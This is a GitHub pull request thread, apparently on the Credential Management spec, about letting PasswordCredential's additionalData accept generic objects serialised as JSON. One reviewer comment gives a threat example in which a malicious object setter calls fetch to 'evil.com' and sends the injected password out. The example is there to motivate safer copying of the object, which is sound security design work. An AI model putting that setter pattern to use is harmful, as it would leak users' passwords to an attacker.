additionalData should handle generic objects #48

vabr-g · 2016-12-27T18:15:21Z

This CL extends the spec to allow generic objects as PasswordCredential's
additionalData in addition to FormData and URLSearchParams. Such a
generic object is JSON.stringified.

This should fix #21.

mikewest

Thanks for poking at this, @vabr-g! I've left some comments inline... Hope you're not working too hard over the holidays.

mikewest · 2016-12-28T07:24:54Z

index.src.html

@@ -731,7 +731,7 @@ <h4 id="interfaces-credential-types-passwordcredential"><code>PasswordCredential
      required USVString password;
    };

-    typedef (FormData or URLSearchParams) CredentialBodyType;
+    typedef (FormData or URLSearchParams or object) CredentialBodyType;


Here I hoped to make |object| point to https://heycam.github.io/webidl/#idl-object.

object is super generic. We might as well just drop the typedef, use any as the attribute's type, and do type checking explicitly inside the algorithm.

I spotted that USVString has a link to the same spec, but could not find any definition causing that in the <pre class="anchors"> section. How is this done for USVString?

Bikeshed relies on a backend service called "Shepherd", which parses specifications and indexes the definitions they export. In your Bikeshed directory, you'll see ./bikeshed/spec-data/anchors.json, which has a full list of all the known terms.

This part happens to be in an idl block, though, which makes things a little more complicated. I'm not entirely sure whether the IDL parser integrated into Bikeshed uses the same set of anchors or not.

Should I just add a "spec:" section for webidl?

No, if we can't get it working, the right thing to do would be to file a bug against Bikeshed and just deal with the missing link for the moment.

mikewest · 2016-12-28T07:43:54Z

index.src.html

-      will be mixed into the object to produce the body. The value is `null`
-      unless otherwise specified.
+      endpoint, they can do so by assigning a {{FormData}},
+      {{URLSearchParams}} or a generic object to this attribute. The


Let's call it a "dictionary" rather than a "generic object". We should also list a set of restrictions on the object's properties somewhere so that things are clear for the developer (no tricky setters/getters that leak credential data).

Yeah, you should just use a dictionary here and define it.

The goal is to give developers the ability to pass arbitrary data into the function, so we don't have much to put into a dictionary. That is, there are no required fields, and no known optional fields.

Is an empty dictionary along the lines of the following worth defining?

dictionary CredentialBodyDictionary { };

(Thanks, @tobie!)

Well, if the data you want to pass has arbitrary keys (and arbitrary values), you'll want to use record<DOMString, any> instead.

As for nesting and arbitrary objects due to any -- if I read https://heycam.github.io/webidl/#es-record correctly, the conversion to IDL applies recursively. Sub-objects become sub-records. There are no setters left in the result.

(I'm afraid have no idea how to answer the first question about UA implementing the record.)

record<> doesn't show up in any Blink or Gecko IDL files. Does any UA implement it?

Yes. It's fairly new. @jyasskin added it for Bluetooth support.

I'm trying to figure out how a record<DOMString, any> looks to a developer... That is, I think the bindings you've pointed to mean that something like: { "a": "b", "c": "d" } would be converted into « ("a", "b"), ("c", "d") ». Is that accurate?

Yes. It's basically an open-dictionary.

The any as the value type means that we'd be back in the same boat with regard to nested structures' arbitrary code, right?

Indeed.

Making record<> handle nesting seems like it would be complicated.

I'm looking at this right now for JSON serialization and I agree, it's complicated.

Just to back up a bit so you're up to speed with what we're trying to do here: the goal is to give developers the ability to layer the credential management API on top of an existing form submission so that they can use it's magicalness to make users' lives easier. But: we'd like to do so without revealing the password data to JavaScript.

We currently rely on FormData and URLSearchParams to handle the basic cases of taking an existing form and submitting it's data (the developer gives us one or the other, we inject password data during the serialization process), but neither handles some more convoluted flows where developers submit data as JSON via XHR in order to sign a user in. We'd like to support those as well.

The idea at the moment is that a developer could build up the object structure they want to send to the server, and tell us what the field names ought to be for the username and password. We'll take the object they give us, set those two properties, and then serialize the whole thing.

I'd like to ensure that the act of serialization doesn't give malicious code a chance to walk the object structure and exfiltrate its data. Hence my worry about getters and setters and proxies and etc.

OK, that makes sense.

I think what you want is something similar to serializable types. Note these are missing records right now (see whatwg/webidl#262) and are being revamped in whatwg/webidl#188.

Sub-objects become sub-records.

No. it would be converted to an object. See https://heycam.github.io/webidl/#es-any and https://heycam.github.io/webidl/#es-object.

I think what you want is something similar to serializable types.

It seems like the web developer would be free to define the serializing method for their type. Is there a way to prevent this method from accessing the password value injected by the user agent?

Is serializability a language-independent counterpart of what JSON stringification is in JavaScript? If so, the Credential Manager API spec needs, in addition to requesting serializability, define how the user agent inserts the password value (and username). For a record, this would be defined by adding/replacing two mappings, with the keys defined by the developer, and values being the username and the password.

I wonder if instead of record<DOMString, any> the spec could require a record<DOMString, DOMString> -- the web developer would serialize their part of the data first (creating the DOMString values), the user agent would add two more such mappings, and then serialize the whole without complexity.

No. it would be converted to an object.

Thanks, I misread the specification.

Is serializability a language-independent counterpart of what JSON stringification is in JavaScript?

Yes. But we're looking at making this more clearly JSON-specific in WebIDL.

If so, the Credential Manager API spec needs, in addition to requesting serializability, define how the user agent inserts the password value (and username).

Right.

mikewest · 2016-12-28T07:54:28Z

index.src.html

+          1.  If |data| has a property named like the |credential|'s
+              {{PasswordCredential/idName}} or
+              {{PasswordCredential/passwordName}}, <a>throw</a> a `TypeError`
+              exception.


#21 (comment) recommends also throwing on a property 'additionalData'. I'm not sure why.

The threat I'm concerned about is something like this:

var maliciousData = { set password(p) { fetch("https://evil.com/logger?p=" + p); } }; c.passwordName = "password"; c.additionalData = maliciousData; // muwahaha

That setter would exfiltrate the otherwise secret password data upon setting, which we're not particularly interested in supporting. Now that I think about it, though, things are a bit more complicated with proxies (https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Proxy) and etc. So.

I think we should change the algorithm to something like recursively walking through all the explicitly enumerated properties on the object (the result of calling https://tc39.github.io/ecma262/#sec-object.getownpropertynames on it, I suppose), calling their getters, and building a new object off to the side with just the flattened values. We could do this step instead of the hand-wavey "copy" in step 3.2. That would give us a safe object to work with, and then we don't have to worry about throwing on the setters.

WDYT?

Actually, @tobie and/or @domenic might know a better way to copy/modify an object without triggering unwanted side-effects. I'd wouldn't be surprised if there was an existing concept in WebIDL or ECMAScript that I'm unaware of.

Dictionaries are passed by value, and the ES binding describes pretty much the algorithm you suggest above, imho.

I'm relatively new to this, so take my advice with a grain of salt, but it seems that defining a dictionary instead of relying on object would fix your security concerns.

That makes sense to me. If we can rely on the existing dictionary semantics, I'm happy. See the question above about whether or not that makes sense. :)

All copies will always trigger getters. Not sure what you mean about modification though. I don't have enough context to understand why the code snippet above might cause an attack; is the spec meaning to actually modify user-provided objects? That does seem not great.

Maybe structured clone, or JSON.stringify + JSON.parse, would be helpful here.

If I understand correctly, getters ar OK. Setters, which would take the password value as an argument, have potential for damage.

mikewest · 2016-12-28T07:59:25Z

index.src.html

+
+          4.  Push the result of applying `JSON.stringify` to |data| with
+              "`utf-8`" as the explicit character encoding, to |body|'s <a
+              for="body">stream</a>.


Looking at https://fetch.spec.whatwg.org/#concept-readablestream I am not sure what "push" means. The nearest I see there is "enqueue". I am not sure how to specify the encoding for that operation either. I'm afraid I just blindly copied the pattern of the other branches for FormData and URLSearchParams.

Yeah, it looks like all of this has moved out from under this spec. I think you'll want to do something like "Set |action| to an action that executes {{JSON.stringify()}} on |data|." Fetch will take care of the rest (because we're defining the switch part in step 4 of https://fetch.spec.whatwg.org/#concept-bodyinit-extract, and |action| is poked at in step 6).

vabr-g · 2016-12-28T16:04:42Z

Thank you both for helpful comments and insights!
I get the idea with the dictionary and will do my best at incorporating it into the patch. (Including persuading bikeshed to display the appropriate links -- thanks for the explanation about spec-data/anchors.)
Reformulating the stream operation in terms of instructing fetch what to do also sounds good to me.

Will update this once a new patchset is ready for review.

This should address #49.

This CL extends the spec to allow generic objects as PasswordCredential's additionalData in addition to FormData and a USVString with URLParams. Such a generic object is JSON.stringified. This should fix #21.

vabr-g · 2016-12-28T18:58:34Z

@mikewest: I pushed what I had so far. I am not sure about details like whether the formulation with JSON.stringify makes sense (and how to link properly to JSON.stringify), and I am not sure how to resolve the open questions about record<K,V>. Therefore I don't expect you to re-review the current patchset, although comments are always welcome.

I will not be working until next year, so feel free to take your time. :)

Thanks to all three of you for your help on this so far!

Cheers,
Vaclav

vabr-g · 2016-12-28T18:59:22Z

Ah, and I forgot again: @mikewest , to view the HTML after the current patchset staged, just go/kbczb/fix_21.html.

vabr-g · 2018-06-25T18:27:15Z

This is now way obsolete, let me close the PR.

vabr-g requested review from mikewest and battre December 27, 2016 18:15

mikewest requested changes Dec 28, 2016

View reviewed changes

Vaclav Brozek added 3 commits December 28, 2016 18:54

Update 'Extract body' algorithm to fit in the latest Fetch spec

f6e58a9

This should address #49.

additionalData should handle generic objects

d7084d5

This CL extends the spec to allow generic objects as PasswordCredential's additionalData in addition to FormData and a USVString with URLParams. Such a generic object is JSON.stringified. This should fix #21.

Use record<DOMString, any>

db54445

vabr-g closed this Jun 25, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

additionalData should handle generic objects #48

additionalData should handle generic objects #48

vabr-g commented Dec 27, 2016

mikewest left a comment

mikewest Dec 28, 2016

mikewest Dec 28, 2016

tobie Dec 28, 2016

mikewest Dec 28, 2016

mikewest Dec 28, 2016

tobie Dec 28, 2016

vabr-g Dec 28, 2016

tobie Dec 28, 2016 •

edited

Loading

tobie Dec 28, 2016

vabr-g Jan 2, 2017

tobie Jan 2, 2017

mikewest Dec 28, 2016

mikewest Dec 28, 2016

tobie Dec 28, 2016

mikewest Dec 28, 2016

domenic Dec 28, 2016

vabr-g Dec 28, 2016

mikewest Dec 28, 2016

vabr-g commented Dec 28, 2016

vabr-g commented Dec 28, 2016

vabr-g commented Dec 28, 2016

vabr-g commented Jun 25, 2018

additionalData should handle generic objects #48

additionalData should handle generic objects #48

Conversation

vabr-g commented Dec 27, 2016

mikewest left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

tobie Dec 28, 2016 • edited Loading

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

vabr-g commented Dec 28, 2016

vabr-g commented Dec 28, 2016

vabr-g commented Dec 28, 2016

vabr-g commented Jun 25, 2018

tobie Dec 28, 2016 •

edited

Loading